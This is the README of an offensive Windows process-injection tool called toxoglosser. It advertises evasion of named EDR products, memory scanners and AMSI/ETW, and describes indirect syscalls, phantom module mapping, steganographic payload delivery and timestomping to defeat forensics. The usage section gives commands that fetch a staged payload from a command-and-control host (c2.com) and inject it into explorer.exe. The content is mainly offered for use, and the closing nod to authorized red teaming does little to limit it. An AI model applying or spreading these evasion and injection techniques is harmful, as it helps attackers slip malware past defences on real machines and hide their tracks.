Overview • Key Features • Enhanced Evasion Capabilities • Architecture • Building • Usage • Payload Loading Methods • Injection Techniques • Evasion Features • Recent Improvements • License • Ethics
toxoglosser is a state-of-the-art process injection tool for 64-bit Windows systems. It incorporates "Elite" EDR evasion techniques to inject payloads into target processes while evading the most sophisticated modern security solutions including:
- Data Execution Prevention (DEP) / ASLR
- Modern EDRs (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint)
- Next-Gen AV and Behavioral Analysis Engines
- Memory Scanners (PE-Sieve, Moneta)
- Halo's Gate & Indirect Syscalls: Advanced syscall framework that resolves SSNs even from hooked DLLs and masks the origin of syscalls by jumping through legitimate
ntdll.dllgadgets. - Module Overloading (Phantom Mapping): Injects shellcode into memory backed by legitimate Windows DLLs on disk, bypassing "floating code" detections.
- Steganographic Delivery: Extracts encrypted payloads from the Least Significant Bits (LSB) of image files (PNG/JPG/BMP) to evade network detection.
- Callback-Based Execution: Triggers payload execution via legitimate system callbacks (
EnumSystemLocalesW,EnumChildWindows) to break behavioral detection chains. - Manual API Hashing: Complete elimination of
LazyDLLusage; all APIs resolved via djb2 hashing of Export Address Tables. - Stack Spoofing: Conceptual implementation to mask the call stack of sleeping/injected threads from memory scanners.
- NTFS Timestomping: Automatically matches the timestamps of the tool with legitimate system binaries.
- Unhooking-based AMSI/ETW Bypass: Restores
ntdll.dllfrom disk to strip user-mode hooks before patching. - Configurable Evasion: Jitter-based delays and advanced sandbox detection (CPU, RAM, MAC, Disk, Timing).
- Indirect Syscalls (Lazarus Style): Instead of executing
syscalllocally, the tool jumps to asyscall; retgadget withinntdll.dll, making the call appear legitimate. - Halo's Gate SSN Resolution: If a syscall stub is hooked,
toxoglossersearches adjacent stubs to calculate the correct System Service Number (SSN). - Phantom Module Mapping: Uses
NtCreateSectionandNtMapViewOfSectionwithSEC_IMAGEto map legitimate DLLs and overwrite their memory, evading unbacked memory alerts. - LSB Steganography: Payloads are hidden within images, providing a perfect cover for C2 communication.
- Callback Execution: Avoids
CreateRemoteThreadby using Windows callback functions as execution triggers.
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ cmd/ │ │ core/ │ │ evasion/ │
│ (main entry) │───▶│ (indirect sys, │───▶│ (AMSI/ETW │
│ │ │ overload, callbacks)│ │ bypass, unhook)│
│ toxoglosser.go │ └──────────────────┘ └─────────────────┘
└─────────────────┘ │
▼
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ utils/ │ │ payloads/ │ │ anti/ │
│ (stomp, sleep, │───▶│ (stego, AES, │───▶│ (sandbox, │
│ obfuscation) │ │ validation) │ │ detection) │
└─────────────────┘ └──────────────────┘ └─────────────────┘
- Go 1.24+
- Garble (for obfuscation):
go install mvdan.cc/garble@v0.14.2 - MinGW-w64 (for cross-compilation:
x86_64-w64-mingw32-gcc)
# Standard obfuscated build
chmod +x build.sh
./build.sh
# Or using Makefile for cross-compilation
make cross-build.\toxoglosser.exe [OPTIONS]-url <url>: URL to fetch the staged payload from.-stego: (Optional) Use LSB steganography to extract payload from an image at-url.
-technique <thread|overload|callback>: Injection method.-dll <path>: Target DLL for module overloading (default:msvcrt.dll).-pname <name>/-pid <id>: Target process selection.-stomp <path>: Legitimate file to timestomp against.-key <key>: AES decryption key.
# Elite: Overload msvcrt.dll and execute via callback using stego payload
.\toxoglosser.exe -url http://c2.com/logo.png -stego -technique callback -stomp C:\Windows\System32\cmd.exe
# Standard: APC injection with URL payload
.\toxoglosser.exe -url http://c2.com/pay.bin -pname explorer.exe -technique threadBypasses all modern EDR user-mode hooks by using a combination of hook-resilient resolution and legitimate gadget execution.
Evades memory scanners that flag "Private" memory or "Floating" code by using "Image" backed memory.
Masks binary payload downloads behind legitimate image traffic, evading NDR and proxy analysis.
Cleans up forensic artifacts by matching file timestamps with system binaries.
- Go 1.24 Migration: Leverages the latest Go compiler features for improved performance and smaller binary footprints.
- Unified TartarusSyscall Framework: Consistently handles Direct and Indirect syscalls with integrated Halo's Gate resolution across all modules.
- Hardened API Resolution: Complete manual resolution for
GetFileTime,MoveFileExW, and other critical APIs to eliminateLazyDLLsignatures. - Improved CGO-free Entry Point: Optimized
cmd/toxoglosser.gofor seamlessgarbleobfuscation and better compatibility with modern Go linkers.
- Implemented Halo's Gate: Resilient SSN extraction from hooked stubs.
- Implemented Indirect Syscalls: Stealthier syscall execution masking.
- Implemented Module Overloading: Phantom mapping for image-backed injection.
- Implemented LSB Steganography: Hidden payload delivery in image pixels.
- Implemented Callback Execution: Stealthier execution via
EnumSystemLocalesW. - Implemented Timestomping: Forensic evasion via timestamp modification.
toxoglosser is sicced - without strings, binds, or obligations - upon this turtle's shell under the Unlicense
I'm not your parent. Use responsibly for authorized security research and professional red teaming.
